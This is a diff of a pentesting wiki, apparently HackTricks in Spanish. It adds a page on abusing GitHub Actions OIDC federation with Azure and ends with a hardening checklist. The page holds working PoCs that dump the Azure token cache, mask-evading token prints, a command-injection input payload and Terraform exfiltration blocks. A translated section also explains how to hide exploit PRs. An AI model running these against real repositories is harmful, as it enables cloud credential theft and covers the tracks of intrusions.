información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Registro de imágenes Docker en Github +### Github Docker Images Registry -Es posible crear Github actions que **construyan y almacenen un Docker image dentro de Github**.\ +Es posible crear Github actions que **construyan y almacenen una imagen Docker dentro de Github**.\ Un ejemplo se puede encontrar en el siguiente elemento desplegable:
@@ -632,16 +636,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Información sensible en los logs de Github Actions -Aunque **Github** intenta **detectar valores secretos** en los logs de Actions y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado durante la ejecución de la action no serán ocultados. Por ejemplo, un JWT firmado con un valor secreto no se ocultará a menos que esté [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Ocultando tus rastros +## Ocultando tus huellas -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR creado es claramente visible al público en Github y a la cuenta objetivo en GitHub. En GitHub por defecto, **no podemos eliminar un PR de Internet**, pero hay una vuelta de tuerca. Para cuentas de Github que son **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de Internet. Así que, para ocultar tu actividad necesitas o bien conseguir que tu **GitHub account suspended or get your account flagged**. Esto **ocultaría todas tus actividades** en GitHub de Internet (básicamente eliminar todos tus exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “some stuff” en Issue y ellos se asegurarán de que tu cuenta sea suspendida en 12 hours :p y ahí lo tienes, hiciste tu exploit invisible en github. > [!WARNING] -> La única forma de que una organización se dé cuenta de que ha sido objetivo es revisar los logs de GitHub desde SIEM, ya que desde el GitHub UI el PR sería eliminado. +> La única forma para que una organización descubra que ha sido objetivo es revisar los logs de GitHub desde SIEM, ya que desde la GitHub UI el PR sería eliminado. ## Referencias diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..1ec59cc8b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Visión general + +GitHub Actions puede federarse con Azure Entra ID (anteriormente Azure AD) usando OpenID Connect (OIDC). Un workflow de GitHub solicita un GitHub ID token (JWT) de corta duración que codifica detalles sobre la ejecución. Azure valida este token contra un Federated Identity Credential (FIC) en un App Registration (service principal) y lo intercambia por Azure access tokens (MSAL cache, bearer tokens para Azure APIs). + +Azure valida al menos: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (cuando se intercambia por Azure tokens) +- sub: debe coincidir con el identificador Subject configurado en el FIC + +> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange. + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Para forzar la audiencia de Azure en la solicitud de token: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Configuración de Azure (Workload Identity Federation) + +1) Crear App Registration (service principal) y otorgar el principio de menor privilegio (p. ej., Storage Blob Data Contributor en una cuenta de almacenamiento específica). + +2) Agregar credenciales de identidad federada: +- Emisor: https://token.actions.githubusercontent.com +- Audiencia: api://AzureADTokenExchange +- Identificador de sujeto: estrechamente delimitado al contexto del workflow/run previsto (ver Scoping and risks abajo). + +3) Usar azure/login para intercambiar el GitHub ID token e iniciar sesión en el Azure CLI: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Ejemplo de intercambio manual (se muestra el alcance de Graph; ARM u otros recursos de forma similar): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## Anatomía y personalización del subject (sub) de GitHub OIDC + +Formato predeterminado de sub: repo:/: + +Los valores de context incluyen: +- environment: +- pull_request (PR se activa cuando no está en un environment) +- ref:refs/(heads|tags)/ + +Claims útiles que suelen estar presentes en el payload: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Personaliza la composición del sub mediante la GitHub API para incluir claims adicionales y reducir el riesgo de colisiones: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Nota: Los dos puntos en los nombres de environment están codificados en URL (%3A), eliminando viejos trucos de delimiter‑injection contra el parsing de sub. Sin embargo, usar subjects no únicos (p.ej., solo environment:) sigue siendo inseguro. + +## Alcance y riesgos de los tipos de subject FIC + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Riesgo: Si la Branch/Tag no está protegida, cualquier contributor puede push y obtener tokens. +- Environment: sub=repo:/:environment: +- Riesgo: Unprotected environments (no reviewers) permiten a contributors mint tokens. +- Pull request: sub=repo:/:pull_request +- Mayor riesgo: Cualquier collaborator puede abrir un PR y satisfacer el FIC. + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Ubicaciones de archivos relacionadas y notas: +- Linux/macOS: ~/.azure/msal_token_cache.json almacena tokens MSAL para sesiones de az CLI +- Windows: msal_token_cache.bin en el perfil de usuario; protegido por DPAPI + +## Flujos de trabajo reutilizables y alcance de job_workflow_ref + +Invocar un flujo de trabajo reutilizable agrega job_workflow_ref al token de ID de GitHub, por ejemplo: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +Ejemplo FIC para vincular tanto el caller repo como el reusable workflow: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Configura los claims en el repositorio caller para que tanto repo como job_workflow_ref estén presentes en sub: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Advertencia: Si enlazas solo job_workflow_ref en el FIC, un atacante podría crear un repo distinto en la misma org, ejecutar el mismo reusable workflow en la misma ref, satisfacer el FIC y mint tokens. Siempre incluye también el caller repo. + +## Vectores de ejecución de código que evaden las protecciones de job_workflow_ref + +Incluso con job_workflow_ref correctamente acotado, cualquier dato caller‑controlled que llegue al shell sin comillas seguras puede provocar ejecución de código dentro del contexto del workflow protegido. + +Ejemplo de reusable step vulnerable (interpolación sin comillas): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Entrada maliciosa del llamador para ejecutar comandos y exfiltrar la caché de tokens de Azure: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan como una primitiva de ejecución en PRs + +Trata terraform plan como ejecución de código. Durante el plan, Terraform puede: +- Leer archivos arbitrarios mediante funciones como file() +- Ejecutar comandos a través del external data source + +Ejemplo para exfiltrate Azure token cache durante plan: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +O usar external para ejecutar comandos arbitrarios: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Conceder FICs utilizables en planes desencadenados por PR expone tokens privilegiados y puede preparar un apply destructivo más adelante. Separe identidades para plan vs apply; nunca permita tokens privilegiados en contextos de PR no confiables. + +## Hardening checklist + +- Nunca use sub=...:pull_request para FICs sensibles +- Proteja cualquier rama/etiqueta/entorno referenciado por FICs (branch protection, environment reviewers) +- Prefiera FICs con ámbito tanto repo como job_workflow_ref para reusable workflows +- Personalice el sub de GitHub OIDC para incluir claims únicos (p. ej., repo, job_workflow_ref, repository_owner) +- Elimine la interpolación sin comillas de caller inputs en run steps; codifique/entrecomille de forma segura +- Trate terraform plan como ejecución de código; restrinja o aisle identidades en contextos de PR +- Implemente el principio de menor privilegio en App Registrations; separe identidades para plan vs apply +- Fije actions y reusable workflows a commit SHAs (evite pins por branch/tag) + +## Manual testing tips + +- Solicite un GitHub ID token dentro del workflow e imprímalo en base64 para evitar masking +- Decodifique el JWT para inspeccionar claims: iss, aud, sub, job_workflow_ref, repository, ref +- Intercambie manualmente el ID token contra login.microsoftonline.com para confirmar la correspondencia de FIC y los scopes +- Después de azure/login, lea ~/.azure/msal_token_cache.json para verificar la presencia del material del token + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}